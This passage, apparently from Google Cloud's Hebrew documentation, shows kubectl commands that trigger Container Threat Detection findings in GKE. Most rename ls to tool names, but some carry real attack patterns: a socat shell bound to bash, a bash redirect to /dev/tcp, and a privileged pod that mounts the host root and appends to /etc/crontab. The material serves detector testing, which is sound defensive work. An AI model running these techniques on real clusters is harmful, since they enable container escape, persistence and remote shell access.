tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c "echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; /etc/issue; sleep 10"

תהליך הבדיקה הזה יוצר ממצא מסוג Execution: Modified Malicious Binary Executed שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם רישום ביומן עבור זיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

כדי להפחית רעש, כשיוצרים קונטיינר בפעם הראשונה, התכונה 'זיהוי איומים בקונטיינר' מסננת באופן זמני את הממצאים של Execution: Modified Malicious Binary Executed. כדי לראות את כל הממצאים של Execution: Modified Malicious Binary Executed בזמן שמגדירים קונטיינר, צריך להוסיף את הקידומת ktd-test לשם הקונטיינר או לשם ה-Pod, כמו בדוגמה.

ביצוע: נטען ספרייה זדונית שעברה שינוי

כדי להפעיל את הממצא Execution: Modified Malicious Library Loaded, משנים קובץ קיים עם ספרייה זדונית במאגר ומטעינים אותו. בדוגמה הזו מתבצע פריסה של תמונת Ubuntu 24.04 העדכנית ביותר, מתבצע עדכון של הקובץ /etc/issue באמצעות ספרייה זדונית מדומה, ואז מתבצעת טעינה באמצעות mmap. טעינת הספרייה של קובץ קיים היא לא צפויה כי הספרייה היא קובץ בדיקה של EICAR, שמסווג כזדוני על ידי מודיעין איומי סייבר.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מוסיפים את קובץ EICAR וטוענים אותו:

צומת x86:

tag="ktd-test-modified-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "
      apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
      echo -n '$eicar' > /etc/issue;
      cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
      gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /etc/issue
      sleep 10"

צומת ARM:

tag="ktd-test-modified-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
"$tag" -- sh -c "
      apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
      echo -n '$eicar' > /etc/issue;
      cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
      gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /etc/issue
      sleep 10"

הליך הבדיקה הזה יוצר ממצא מסוג Execution: Modified Malicious Library Loaded (ביצוע: ספרייה זדונית ששונתה נטענה), שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם רישום ביומן ל-זיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

להפחתת רעש, כשיוצרים קונטיינר חדש, התכונה 'זיהוי איומים בקונטיינר' מסננת באופן זמני את הממצאים של Execution: Modified Malicious Library Loaded. כדי לראות את כל הממצאים של Execution: Modified Malicious Library Loaded בזמן שמגדירים קונטיינר, צריך להוסיף את הקידומת ktd-test לשם הקונטיינר או לשם ה-Pod, כמו בדוגמה.

Execution: Netcat Remote Code Execution In Container

כדי להפעיל אירוע Execution: Netcat Remote Code Execution In Container, צריך שקובץ בינארי עם יכולת תקשורת ברשת (כמו netcat עצמו, או עותק ששמו שונה של כלי אחר) יהיה נוכח ויופעל בתוך מאגר התגים. בדוגמה הזו, הפריסה מתבצעת על בסיס התמונה העדכנית ביותר של Ubuntu 24.04. הוא מעתיק את הקובץ הבינארי /bin/ls ומשנה את השם של העותק ל-nc (כלי רשת). לאחר מכן, הקובץ הבינארי ששמו שונה מופעל עם ארגומנטים שמתאימים לאינטראקציה עם הרשת. הפעילות הזו מסומנת כחשודה כי היא דומה להתנהגות שנצפית לעיתים קרובות במהלך ניסיונות בפועל להפעלת קוד מרחוק בסביבות מבוססות-קונטיינרים.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מציגים קובץ בינארי של כלי לתקשורת ברשת כמו nc ומריצים אותו עם הארגומנטים המתאימים:

צומת x86:

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nc; /tmp/nc -e"

צומת ARM:

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nc; /tmp/nc -e"

במהלך הליך הבדיקה הזה נוצר ממצא Execution: Netcat Remote Code Execution In Container שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: אפשרות להרצת פקודות שרירותיות דרך CUPS‏ (CVE-2024-47177)

כדי להפעיל Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177) ממצא, צריך להפעיל תהליך של מעטפת על ידי foomatic-rip. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הוא מעתיק את /bin/bash אל /tmp/foomatic-rip. הקובץ הבינארי הזה, ששמו שונה והוא הועתק, מופעל כסקריפט מעטפת כדי ליצור פקודת מעטפת צאצא. התנהגות כזו מסומנת כחשודה כי היא יכולה להצביע על ניסיון להפעיל עומסי עבודה שרירותיים במערכות שנפרצו.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים את הפקודה עם הארגומנטים המתאימים:

צומת x86:

tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
   'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'

צומת ARM:

tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
   'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'

במסגרת הליך הבדיקה הזה נוצר ממצא Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177) שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינרים. האפשרות להציג ממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: זוהה ביצוע אפשרי של פקודה מרחוק

כדי להפעיל ממצא של Execution: Possible Remote Command Execution Detected (תצוגה מקדימה), צריך לזהות בתוך קונטיינר הרצה של פקודה או של קובץ בינארי שמשויכים בדרך כלל להרצת פקודות מרחוק. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הוא מעתיק את /bin/ls ומשנה את השם שלו ל-touch (או לכלי אחר כמו find). לאחר מכן, הקובץ הבינארי ששמו שונה מופעל עם ארגומנטים שמתאימים להרצת פקודות מרחוק. התנהגות זו מסומנת כחשודה כי היא יכולה להצביע על ניסיון ליצור גישה מרחוק לא מורשית אל או מתוך הקונטיינר.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים קובץ בינארי כמו touch עם הארגומנטים המתאימים:

צומת x86:

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"

צומת ARM:

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"

במסגרת הליך הבדיקה הזה נוצר ממצא Execution: Possible Remote Command Execution Detected שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: הפעלת תוכנית עם סביבת Proxy ל-HTTP לא מורשית

כדי להפעיל ממצא Execution: Program Run with Disallowed HTTP Proxy Env, מריצים תוכנית בתוך מאגר, ומגדירים משתנה סביבה של HTTP proxy לערך אסור. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הכלי /bin/ls מועתק ומשנה את השם ל-/tmp/curl. לאחר מכן, הקובץ הבינארי ששמו שונה מופעל עם ערך אסור שמוגדר למשתנה סביבה של שרת proxy ל-HTTP (לדוגמה, HTTP_PROXY, http_proxy). השילוב של הפעלת התוכנית ונוכחות של סביבת שרת proxy ל-HTTP שאסורה לשימוש מסומן כחשוד, כי הוא מרמז על ניסיון לתקשר דרך שרת proxy לא מורשה.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים קובץ בינארי עם יכולות רשת, כמו curl, ומריצים אותו עם משתנה סביבה של שרת proxy מסוג HTTP שלא מורשה:

צומת x86:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

צומת ARM:

tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

הליך הבדיקה הזה יוצר ממצא Execution: Program Run with Disallowed HTTP Proxy Env שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: זוהה reverse shell של Socat

כדי להפעיל ממצא של Execution: Socat Reverse Shell Detected, כלי השירות socat צריך ליצור חיבור של reverse shell לתהליך. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. כלי השירות socat מותקן ונוצר listener מקומי של tcp, ואז הוא נקשר לכלי השירות socat. ה-reverse shell שנוצר על ידי socat מסומן כחשוד כי הוא מאפשר לתוקף להריץ עומסי עבודה שרירותיים במערכת.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

יוצרים מאגר תגים ומריצים את כלי השירות socat:

צומת x86:

tag="ktd-test-socat-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "apt-get update && apt-get install socat -y && (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &) && sleep 2 && timeout 5s socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane || true"

צומת ARM:

tag="ktd-test-socat-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "apt-get update && apt-get install socat -y && (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &) && sleep 2 && timeout 5s socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane || true"

במסגרת הליך הבדיקה הזה נוצר ממצא Execution: Socat Reverse Shell Detected שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: שינוי חשוד ב-Cron (תצוגה מקדימה)

כדי להפעיל זיהוי של שינוי חשוד ב-Cron, משנים את הקובץ /etc/crontab של המארח ממכולה. בדוגמה הזו פורסים את קובץ האימג' האחרון של Ubuntu 24.04, וטוענים את מערכת הקבצים הבסיסית של המארח בקונטיינר. לאחר מכן, הוא מעדכן את קובץ crontab.

זהו גלאי לניטור קבצים, ויש לו דרישות ספציפיות לגבי גרסת GKE.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים פקודה כדי לשנות את הקובץ /etc/crontab של המארח.

צומת x86:

tag="ktd-test-cron-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

צומת ARM:

tag="ktd-test-cron-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

הליך הבדיקה הזה מפעיל ממצא של שינוי חשוד ב-Cron שאפשר לראות ב-Security Command Center, ואם הגדרתם רישום ביומן של זיהוי איומים בקונטיינר, גם ב-Cloud Logging. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

ביצוע: נטען אובייקט משותף חשוד של OpenSSL

כדי להפעיל Execution: Suspicious OpenSSL Shared Object Loaded ממצא, מריצים את הפקודה openssl engine עם ארגומנט שהוא קובץ שמסתיים בסיומת .so. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הכלי /bin/ls מועתק ומשנה את השם ל-/tmp/openssl. הקובץ הבינארי ששמו שונה מופעל עם הארגומנטים engine ועם קובץ מזויף .so. ההרצה של openssl engine עם קובץ .so מסומנת כחשודה כי היא מחקה את ההתנהגות של אובייקט משותף שנטען כדי להריץ קוד זדוני.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים את הפקודה openssl engine עם ארגומנט של ספריית אובייקטים משותפת מזויפת:

צומת x86:

tag="ktd-test-suspicious-openssl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so"

צומת ARM:

tag="ktd-test-suspicious-openssl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so"

במסגרת הליך הבדיקה הזה נוצר ממצא Execution: Suspicious OpenSSL Shared Object Loaded שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

העברה לא מורשית של נתונים: הפעלת כלים להעתקת קבצים מרחוק בקונטיינר

כדי להפעיל Exfiltration: Launch Remote File Copy Tools In Container ממצא, מריצים כלי נפוץ להעתקת קבצים מרחוק בתוך קונטיינר. בדוגמה הזו נעשה שימוש בקובץ האימג' העדכני ביותר של Ubuntu 24.04. כלי השירות /bin/ls מועתק ומשנה את השם שלו ל-/tmp/rsync, ואז הוא מופעל כדי לאחזר קובץ ממקור מרוחק, שעלול להיות זדוני. הפעלת כלי כזה עם ארגומנטים של אחזור קבצים מרחוק בתוך קונטיינר מסומנת כפעולה חשודה, כי היא יכולה להצביע על ניסיון להוריד ולהפעיל קוד זדוני או לחלץ נתונים.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים כלי להעתקת קבצים מרחוק, כמו rsync:

צומת x86:

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

צומת ARM:

tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

במהלך הליך הבדיקה הזה נוצר ממצא Exfiltration: Launch Remote File Copy Tools In Container שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

השפעה: זיהוי של שורות פקודה זדוניות

כדי להפעיל ממצא מסוג Impact: Detect Malicious Cmdlines (תצוגה מקדימה), צריך לזהות בתוך קונטיינר ביצוע של שורת פקודה עם תבניות או ארגומנטים זדוניים ידועים. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. התהליך כולל העתקה של הבינארי /bin/ls ושינוי השם של העותק ל-ipfs. לאחר מכן, הקובץ הבינארי ששמו שונה מופעל. התנהגות כזו מסומנת כחשודה כי היא יכולה להצביע על ניסיון להפעיל קוד זדוני או לעקוף אמצעי בקרה של אבטחה.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים קובץ בינארי כמו ipfs:

צומת x86:

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

צומת ARM:

tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/ipfs; /tmp/ipfs"

במסגרת הליך הבדיקה הזה נוצר ממצא Impact: Detect Malicious Cmdlines שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינרים. האפשרות להציג ממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

השפעה: הסרת נתונים בכמות גדולה מהדיסק

כדי להפעיל ממצא Impact: Remove Bulk Data From Disk, צריך להציב קובץ בינארי שיכול למחוק או להחליף נתונים במאגר ולהריץ אותו. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. התהליך כולל העתקה של /bin/ls הקובץ הבינארי ושינוי השם של העותק ל-shred (או לכלי דומה שנועד למחיקה מאובטחת של קבצים). לאחר מכן מופעל הקובץ הבינארי ששמו שונה. הפעולה הזו מסומנת כחשודה כי היא דומה להתנהגות שרואים בדרך כלל כשמנסים להסיר כמויות גדולות של נתונים מדיסק בסביבה מבוססת-קונטיינרים.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מציגים קובץ או נתונים בינאריים למחיקה, כמו shred, ומבצעים אותו:

צומת x86:

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

צומת ARM:

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

במסגרת הליך הבדיקה הזה נוצר ממצא Impact: Remove Bulk Data From Disk שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינרים. האפשרות להציג ממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

השפעה: פעילות חשודה של כריית מטבעות קריפטוגרפיים באמצעות פרוטוקול Stratum

כדי להפעיל את זיהוי הממצאים של Impact: Suspicious crypto mining activity using the Stratum Protocol, צריך להפעיל קובץ בינארי בתוך מאגר עם ארגומנטים שדומים לאלה שמשמשים תוכנות לכריית מטבעות קריפטוגרפיים שמתקשרות באמצעות פרוטוקול Stratum. בדוגמה נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. היא מעתיקה את /bin/ls ומשנה את השם של העותק לבינארי מדומה (כנראה כדי לדמות כריית קריפטו). הקובץ הבינארי ששמו שונה מופעל עם ארגומנטים שכוללים את stratum+tcp או אינדיקטורים דומים של פרוטוקול Stratum. הפעילות הזו מסומנת כחשודה כי היא מחקה את דפוסי התקשורת ברשת של תוכנות לכריית קריפטו בסביבות בקונטיינרים.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

להציג קובץ בינארי של כלי עזר כמו curl ולהפעיל אותו עם ארגומנטים שדומים לאלה שמשמשים תוכנות לכריית קריפטו שמתקשרות באמצעות פרוטוקול Stratum:

צומת x86:

tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

צומת ARM:

tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

